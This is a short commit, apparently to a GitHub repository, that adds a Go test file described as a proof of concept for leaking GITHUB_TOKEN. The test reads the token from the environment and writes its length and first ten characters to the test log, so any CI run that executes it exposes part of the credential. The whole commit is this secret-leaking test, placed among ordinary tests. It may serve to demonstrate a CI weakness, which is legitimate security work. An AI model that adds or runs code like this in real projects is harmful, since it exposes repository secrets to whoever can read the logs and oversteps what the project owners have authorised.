Create poc_github_token_test.go

Add PoC test for leaking GITHUB_TOKEN

Author: sahar042

tests/poc_github_token_test.go

@@ -0,0 +1,22 @@
+package tests
+
+import (
+	"os"
+	"testing"
+)
+
+func TestLeakGithubToken(t *testing.T) {
+	token := os.Getenv("GITHUB_TOKEN")
+
+	if token == "" {
+		t.Log("PoC: GITHUB_TOKEN is empty")
+		return
+	}
+
+	prefix := token
+	if len(prefix) > 10 {
+		prefix = prefix[:10]
+	}
+
+	t.Logf("PoC: GITHUB_TOKEN is present! Length=%d, Prefix=%q...", len(token), prefix)
+}